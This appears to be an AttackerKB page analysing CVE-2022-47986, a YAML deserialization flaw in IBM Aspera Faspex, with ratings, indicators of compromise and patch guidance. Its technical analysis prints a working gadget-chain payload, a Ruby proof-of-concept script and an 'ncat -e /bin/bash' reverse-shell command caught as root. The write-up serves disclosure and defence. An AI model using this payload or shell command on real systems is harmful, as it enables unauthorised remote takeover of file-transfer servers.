Very High
CVE-2022-47986
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
IBM Aspera Faspex 4.4.1 could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. IBM X-Force ID: 243512.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This lives on the network perimeter and uses laughably old versions of software (like Ruby 1.9.3). I had more trouble preventing it from crashing than actually exploiting it. This also tends to store privileged information, since it’s a secure file transfer service. Kinda really bad.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- IBM
Products
- Aspera Faspex
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Description
On January 26, 2023, IBM posted an advisory for multiple security issues affecting its Aspera Faspex software. The most critical of these is CVE-2022-47986, which is a pre-authentication YAML deserialization vulnerability in Ruby on Rails code. The vulnerability carries a CVSS score of 9.8. On February 2, 2023, Maxwell Garrett from Assetnote, who discovered the flaw, posted vulnerability details that included a working proof of concept for CVE-2022-47986.
On February 12, 2023, Shadowserver detected exploitation attempts, and we’ve also seen reports that it’s been used in ransomware attacks. In light of active exploitation and the fact that Aspera Faspex is typically installed on the network perimeter, we strongly recommend patching urgently.
Affected products include:
- IBM Aspera Faspex 4.4.2 Patch Level 1 (and below)
Technical analysis
We tested the public proof of concept against IBM Aspera Faspex version 4.4.1.178477, which according to IBM’s documentation, and our own observations, runs on very old software versions (for reference, Ruby 1.9.3 was released in 2011).
Embedded Components:
Apache Version: 2.4.54
Apache SSL Version: 1.1.1s
asctl Version: 2.1
Connect SDK Version: 3.9.7.175481
Mongrels Version: 1.2.0.pre2
MySQL Version: 5.7.37 with @global.sql_mode and @session.sql_mode set to STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION.
Rails Version: 2.3.18
Ruby Version: 1.9.3
Ruby SSL Version: 1.0.2t
The vulnerable code is found in the self.parse()
function in /opt/aspera/faspex/lib/multi_server/relay_descriptor.rb
, where the relay.params
variable comes from the HTTP POST body:
def self.parse(relay) file_list = relay.params[:package_file_list] relay.package_paths = file_list.collect{ |p| EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/')) } enc_emails = relay.params.delete(:external_emails) relay.external_emails = YAML.load(enc_emails) relay.encryption = EConfiguration.require_ear? end
The user-supplied parameter, external_emails
, is assigned to the variable enc_emails
and then passed into YAML.load
, which is an unsafe operation. Garrett developed the following YAML payload, taking advantage of Ruby objects that are available in the particular software version (with the payload id -a
):
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "pew" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:PrettyPrint output: !ruby/object:Net::WriteAdapter socket: &1 !ruby/module "Kernel" method_id: :eval newline: "throw `id -a`" buffer: {} group_stack: - !ruby/object:PrettyPrint::Group break: true method_id: :breakable
We can test that payload in the interactive Ruby interpreter:
[root@localhost poc]# ruby --version ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux] [root@localhost poc]# irb irb(main):001:0> require 'yaml' => true irb(main):002:0> require 'pp' => true irb(main):003:0> require 'net/http' => true irb(main):004:0> require 'rubygems/installer' => true irb(main):005:0> YAML.load(File.read('./test.yml')) ArgumentError: uncaught throw "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n"
We can also send the payload to the HTTP server, using a script similar to Garrett’s proof of concept:
require 'httparty' if ARGV.length != 2 $stderr.puts "Usage: #{$1} <url> <command>" exit 1 end URL = "#{ARGV[0]}package_relay/relay_package" COMMAND = ARGV[1] PAYLOAD = <<-EOT --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "pew" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:PrettyPrint output: !ruby/object:Net::WriteAdapter socket: &1 !ruby/module "Kernel" method_id: :eval newline: "throw `#{ COMMAND }`" buffer: {} group_stack: - !ruby/object:PrettyPrint::Group break: true method_id: :breakable EOT UUID = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec" payload = { "package_file_list" => [ "/" ], "external_emails" => PAYLOAD, "package_name" => "assetnote_pack", "package_note" => "hello from assetnote team", "original_sender_name" => "assetnote", "package_uuid" => UUID, "metadata_human_readable" => "Yes", "forward" => "pew", "metadata_json" => '{}', "delivery_uuid" => UUID, "delivery_sender_name" => "assetnote", "delivery_title" => "TEST", "delivery_note" => "TEST", "delete_after_download" => true, "delete_after_download_condition" => "IDK", } HTTParty.post( URL, body: payload, )
Then we execute it against the chosen server with a command in the payload:
$ ruby ./poc.rb http://10.0.0.226:3000/aspera/faspex 'ncat -e /bin/bash 10.0.0.179 4444'
We can verify that it executes by catching the shell in another window:
ron@ronlab ~ $ nc -v -l -p 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.0.0.226. Ncat: Connection from 10.0.0.226:42286. whoami root
An important word of caution: This is running on a very (very) old version of Ruby, and running the payload was quite finicky in our experience — it crashed the entire application with a segmentation fault several times, for unclear reasons; we’d strongly advise against using this in a production environment.
IOCs
Logfiles can be found in the folder /opt/aspera/faspex/log
by default. Entries related to PackageRelayController#relay_package
should be considered suspicious:
Processing PackageRelayController#relay_package (for 10.0.0.179 at 2023-02-17 14:04:36) [POST]
Guidance
Aspera Faspex customers should upgrade to 4.4.2 Patch Level 2 immediately, without waiting for a typical patch cycle to occur. Because this is typically an internet-facing service and the vulnerability has been linked to ransomware group activity, we recommend taking the service offline if a patch cannot be installed right away.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: